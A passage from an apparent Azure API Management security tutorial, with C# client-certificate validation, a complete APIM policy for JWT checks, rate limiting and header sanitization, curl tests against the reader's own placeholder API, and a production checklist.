var logger = context.HttpContext.RequestServices.GetRequiredService<ILogger<Program>>();
var thumbprint = context.ClientCertificate?.Thumbprint;
logger.LogInformation("Client certificate validated: {Thumbprint}", thumbprint);
// Additional validation - check allowed thumbprints
if (!IsAllowedCertificate(context.ClientCertificate))
{
context.Fail("Certificate not in allowed list");
}
return Task.CompletedTask;
},
OnAuthenticationFailed = context =>
{
var logger = context.HttpContext.RequestServices.GetRequiredService<ILogger<Program>>();
logger.LogError("Client certificate validation failed: {Message}", context.Exception.Message);
return Task.CompletedTask;
}
};
});
// Allow specific certificates
private static bool IsAllowedCertificate(X509Certificate2 cert)
{
var allowedThumbprints = new[]
{
"THUMBPRINT_FROM_APIM_CLIENT_CERT",
"THUMBPRINT_FROM_OTHER_ALLOWED_CLIENTS"
};
return allowedThumbprints.Contains(cert?.Thumbprint, StringComparer.OrdinalIgnoreCase);
}
// Controller that requires certificate authentication
[ApiController]
[Route("api/[controller]")]
public class SecureDataController : ControllerBase
{
[HttpGet]
[Authorize(AuthenticationSchemes = CertificateAuthenticationDefaults.AuthenticationScheme)]
public IActionResult GetSecureData()
{
// Get client certificate info for logging
var clientCert = HttpContext.Connection.ClientCertificate;
var thumbprint = clientCert?.Thumbprint;
// Only clients with valid certificates can reach here
return Ok(new {
message = "This is secure data",
accessedBy = $"Certificate: {thumbprint}"
});
}
}
Complete Security Policy Implementation
Here's the complete security policy combining all aspects:
<policies>
<inbound>
<!-- 1. Rate Limiting by subscription -->
<!-- Allow 100 calls per minute per subscription -->
<rate-limit-by-key calls="100"
renewal-period="60"
counter-key="@(context.Subscription?.Key ?? context.Request.IpAddress)" />
<!-- 2. JWT Validation -->
<validate-jwt header-name="Authorization" failed-validation-error-message="Unauthorized. Invalid, expired, or missing token.">
<openid-config url="https://login.microsoftonline.com/{tenant}/v2.0/.well-known/openid-configuration" />
<audiences>
<audience>api://your-api-client-id</audience>
</audiences>
<issuers>
<issuer>https://login.microsoftonline.com/{tenant}/v2.0</issuer>
</issuers>
<required-claims>
<claim name="roles" match="any">
<value>User</value>
<value>Admin</value>
</claim>
</required-claims>
</validate-jwt>
<!-- 3. IP Filtering (optional - uncomment if needed) -->
<!-- <ip-filter action="allow">
<address>13.107.42.0/24</address>
<address>13.107.128.0/22</address>
</ip-filter> -->
<!-- 4. Request Sanitization -->
<set-header name="X-Correlation-Id" exists-action="override">
<value>@(Guid.NewGuid().ToString())</value>
</set-header>
<set-header name="X-Internal-Tracking" exists-action="delete" />
<set-header name="X-Deployment-Id" exists-action="delete" />
<!-- 5. Validate content type -->
<choose>
<when condition="@(context.Request.Headers.GetValueOrDefault("Content-Type","").Contains("application/json") || context.Request.Method == "GET")">
<continue />
</when>
<otherwise>
<return-response>
<set-status code="415" reason="Unsupported Media Type" />
<set-body>{"error": "Only application/json content type supported"}</set-body>
</return-response>
</otherwise>
</choose>
<base />
</inbound>
<backend>
<!-- Backend security -->
<forward-uri-keep-encode-slash>true</forward-uri-keep-encode-slash>
<!-- Optional: Add client certificate for mTLS -->
<!-- <set-header name="X-Client-Cert" exists-action="override">
<value>@(context.Request.Certificate?.ToString())</value>
</set-header> -->
<base />
</backend>
<outbound>
<!-- Response sanitization -->
<set-header name="X-Powered-By" exists-action="delete" />
<set-header name="X-AspNet-Version" exists-action="delete" />
<set-header name="Server" exists-action="delete" />
<!-- Add security headers -->
<set-header name="Strict-Transport-Security" exists-action="override">
<value>max-age=31536000; includeSubDomains</value>
</set-header>
<set-header name="X-Content-Type-Options" exists-action="override">
<value>nosniff</value>
</set-header>
<set-header name="X-Frame-Options" exists-action="override">
<value>DENY</value>
</set-header>
<!-- Add rate limit info to response -->
<set-header name="X-Rate-Limit-Limit" exists-action="override">
<value>100</value>
</set-header>
<base />
</outbound>
<on-error>
<!-- Error handling - never expose sensitive info -->
<set-body>@{
var error = context.LastError;
// Log full error details internally
// But only return safe message to client
return new {
error = "An error occurred processing your request",
requestId = context.Variables["X-Correlation-Id"]
};
}</set-body>
<set-header name="Content-Type" exists-action="override">
<value>application/json</value>
</set-header>
<!-- Don't expose detailed error to clients -->
<set-status code="500" reason="Internal Server Error" />
</on-error>
</policies>
Testing Your Security Implementation
Test JWT Validation
# Test with invalid token - should get 401
curl -X GET https://your-api.azure-api.net/api/data \
-H "Authorization: Bearer invalid.token.here"
# Expected: 401 Unauthorized
# Test with expired token - should get 401
curl -X GET https://your-api.azure-api.net/api/data \
-H "Authorization: Bearer eyJ..."
# Expected: 401 Unauthorized (Token has expired)
# Test with valid token - should succeed
TOKEN=$(az account get-access-token \
--resource "api://your-api-client-id" \
--query accessToken -o tsv)
curl -X GET https://your-api.azure-api.net/api/data \
-H "Authorization: Bearer $TOKEN"
# Expected: 200 OK with data
Test Rate Limiting
# Make rapid requests to trigger rate limit
for i in {1..110}; do
RESPONSE=$(curl -s -o /dev/null -w "%{http_code}" \
https://your-api.azure-api.net/api/data \
-H "Authorization: Bearer $TOKEN")
if [ "$RESPONSE" != "200" ]; then
echo "Request $i: $RESPONSE"
fi
done
# Expected: First 100 requests: 200 OK
# Then: 429 Too Many Requests
Test IP Blocking
# Test from different IP (use VPN or different network)
curl -v https://your-api.azure-api.net/api/data
# Expected with IP filter: 403 Forbidden
# Without IP filter: May succeed or 401 (depends on other policies)
Security Checklist for Production
Before deploying to production, verify each item:
- JWT Validation: OpenID config URL is correct for your tenant
- Audience Validation: API audience matches your app registration
- OAuth2 Flow: Proper redirect URIs configured in Azure AD
- Rate Limiting: Appropriate limits for your use case (100/60s default)
- IP Filtering: Admin endpoints restricted to internal networks
- Header Sanitization: Internal headers removed, security headers added
- Backend Security: HTTPS required, mTLS configured if needed
- Response Masking: Sensitive data (PII, credentials) properly masked
- Error Handling: Detailed errors logged internally, safe messages to clients
- Logging: Security events logged (failed auth, rate limits, etc.)
- Monitoring: Alerts configured for unusual traffic patterns
- Testing: Security tests run in non-production environment first
- Review: Security policy reviewed by security team
Conclusion
A secure API gateway requires multiple layers of defense working together. Azure APIM provides robust built-in policies for:
- JWT validation - Verify caller identity through token validation
- OAuth2 flows - Support user authentication with industry-standard flows
- Rate limiting - Prevent abuse and ensure fair resource allocation
- IP filtering - Restrict access to allowed networks
- Sanitization - Clean requests and mask sensitive responses
- mTLS - Secure backend communication with mutual certificate validation
By implementing these policies correctly, you protect your backend services from common attack vectors while maintaining excellent performance for legitimate users.
Remember: Security is not a one-time implementation but an ongoing process. Regularly review your policies, update your security configurations, monitor for new threats, and test your defenses.
Azure Integration Hub - API Management